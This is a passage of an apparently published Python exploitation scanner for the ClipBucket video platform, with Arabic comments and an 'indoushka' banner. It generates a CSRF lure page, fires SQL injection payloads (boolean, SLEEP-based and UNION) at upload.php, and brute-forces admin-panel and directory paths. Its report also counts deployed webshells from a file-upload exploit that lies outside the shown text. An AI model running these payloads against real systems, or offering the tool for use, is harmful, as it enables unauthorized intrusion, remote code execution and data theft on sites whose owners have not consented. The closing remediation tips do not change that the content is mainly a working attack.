Claim Your Free Premium Account!
Click the button below to activate premium features
'''
with open('csrf_attack.html', 'w', encoding='utf-8') as f:
f.write(exploit_html)
self.print_status("CSRF exploit page created: csrf_attack.html", "success")
def test_sqli(self):
"""اختبار ثغرة SQL Injection"""
self.print_status("Testing for SQL Injection...", "info")
test_payloads = [
("1' OR '1'='1", "Basic boolean"),
("1' AND SLEEP(5)--", "Time-based"),
("1' UNION SELECT NULL,version()--", "Union injection")
]
for payload, description in test_payloads:
self.print_status(f"Testing: {description}", "info")
test_data = {
'getForm': '1',
'vid': payload,
'objId': 'test',
'title': 'SQLi Test'
}
try:
if 'SLEEP' in payload:
start_time = time.time()
response = self.session.post(f"{self.target}/upload.php", data=test_data, timeout=15)
elapsed = time.time() - start_time
if elapsed > 4:
self.print_status(f"Time-based SQLi detected! Delay: {elapsed:.2f} seconds", "success")
self.vulnerabilities.append('SQL Injection (Time-based)')
return True
else:
response = self.session.post(f"{self.target}/upload.php", data=test_data, timeout=10)
error_indicators = ['sql', 'SQL', 'mysql', 'MySQL', 'syntax error', 'query', 'database']
for indicator in error_indicators:
if indicator.lower() in response.text.lower():
self.print_status(f"Error-based SQLi detected: {indicator}", "success")
self.vulnerabilities.append('SQL Injection (Error-based)')
with open('sqli_evidence.txt', 'w') as f:
f.write(f"Payload: {payload}\n")
f.write(f"Response:\n{response.text}\n")
return True
except Exception as e:
self.print_status(f"SQLi test error: {str(e)}", "error")
self.print_status("No SQL injection vulnerability detected", "warning")
return False
def find_admin_panel(self):
"""البحث عن لوحة التحكم"""
self.print_status("Searching for admin panel...", "info")
common_paths = [
'/admin',
'/admin_area',
'/administrator',
'/admin.php',
'/admin/login.php',
'/admin/index.php',
'/dashboard',
'/controlpanel',
'/cp',
'/admincp',
'/cb_admin',
'/clipbucket_admin',
'/admin_dashboard',
'/manage',
'/manager'
]
found_panels = []
for path in common_paths:
url = f"{self.target}{path}"
try:
# طلب HEAD أولاً (أسرع)
head_resp = self.session.head(url, timeout=3, allow_redirects=False)
if head_resp.status_code < 400:
# طلب GET للتحقق من المحتوى
get_resp = self.session.get(url, timeout=5)
# تحقق من أن الصفحة تحتوي على علامات لوحة تحكم
if any(keyword in get_resp.text.lower() for keyword in ['login', 'admin', 'dashboard', 'control', 'manage', 'panel']):
self.print_status(f"Admin panel found: {url}", "success")
found_panels.append(url)
# حفظ المحتوى للفحص
with open('admin_panel_found.txt', 'a') as f:
f.write(f"URL: {url}\n")
f.write(f"Status: {get_resp.status_code}\n")
f.write(f"Size: {len(get_resp.text)} chars\n")
f.write("-" * 50 + "\n")
except:
continue
if found_panels:
self.print_status(f"Found {len(found_panels)} admin panels", "success")
return found_panels
else:
self.print_status("No admin panels found", "warning")
return []
def scan_directories(self):
"""مسح الدلائل المهمة"""
self.print_status("Scanning for important directories...", "info")
directories = [
'/uploads',
'/upload',
'/files',
'/temp',
'/tmp',
'/logs',
'/backup',
'/backups',
'/data',
'/database',
'/config',
'/includes',
'/install',
'/upgrade',
'/assets',
'/images',
'/videos',
'/media'
]
found_dirs = []
for directory in directories:
url = f"{self.target}{directory}"
try:
response = self.session.head(url, timeout=3)
if response.status_code < 400:
self.print_status(f"Directory found: {url} (Status: {response.status_code})", "success")
found_dirs.append(url)
except:
pass
return found_dirs
def generate_report(self):
"""توليد تقرير النتائج"""
self.print_status("\n" + "="*60, "info")
self.print_status("EXPLOITATION REPORT", "critical")
self.print_status("="*60, "info")
report = []
report.append(f"Target: {self.target}")
report.append(f"Scan Time: {time.strftime('%Y-%m-%d %H:%M:%S')}")
report.append("")
# الثغرات المكتشفة
if self.vulnerabilities or self.shell_urls:
report.append("VULNERABILITIES FOUND:")
report.append("-" * 40)
for vuln in self.vulnerabilities:
report.append(f"✓ {vuln}")
if self.shell_urls:
report.append(f"✓ Remote Code Execution: {len(self.shell_urls)} shells deployed")
for i, shell in enumerate(self.shell_urls, 1):
report.append(f" Shell {i}: {shell}")
report.append("")
# التوصيات
report.append("RECOMMENDATIONS:")
report.append("-" * 40)
if 'CSRF' in self.vulnerabilities:
report.append("• Implement CSRF tokens on all forms")
if 'SQL Injection' in ' '.join(self.vulnerabilities):
report.append("• Use prepared statements for database queries")
if self.shell_urls:
report.append("• Implement strict file upload validation")
report.append("• Disable PHP execution in upload directories")
else:
report.append("No critical vulnerabilities found")
report.append("")
report.append("FILES GENERATED:")
report.append("-" * 40)
# عرض الملفات المولدة
files_to_check = ['shells_found.txt', 'csrf_attack.html',
'admin_panel_found.txt', 'sqli_evidence.txt']
for file in files_to_check:
if os.path.exists(file):
report.append(f"• {file}")
# كتابة التقرير
report_text = "\n".join(report)
print("\n" + report_text)
with open('exploitation_report.txt', 'w', encoding='utf-8') as f:
f.write(report_text)
self.print_status("\nReport saved to: exploitation_report.txt", "success")
def run_complete_scan(self):
"""تشغيل مسح شامل"""
self.print_status("Starting complete ClipBucket vulnerability scan...", "info")
# الخطوة 1: التحقق من ClipBucket
if not self.check_clipbucket():
self.print_status("Target doesn't appear to be ClipBucket. Stopping scan.", "error")
return
# الخطوة 2: اختبار upload.php
if not self.test_upload_endpoint():
self.print_status("upload.php not functioning properly", "warning")
# الخطوة 3: استغلال رفع الملفات
self.exploit_file_upload()
# الخطوة 4: اختبار CSRF
self.exploit_csrf()
# الخطوة 5: اختبار SQL Injection
self.test_sqli()
# الخطوة 6: البحث عن لوحة التحكم
self.find_admin_panel()
# الخطوة 7: مسح الدلائل
self.scan_directories()
# الخطوة 8: التقرير النهائي
self.generate_report()
def main():
"""الدالة الرئيسية"""
print("\033[95m" + """
╔══════════════════════════════════════════════════════╗
║ ClipBucket Exploitation Scanner ║
║ By indoushka ║
╚══════════════════════════════════════════════════════╝
""" + "\033[0m")
if len(sys.argv) < 2:
print("Usage:")
print(f" python {sys.argv[0]}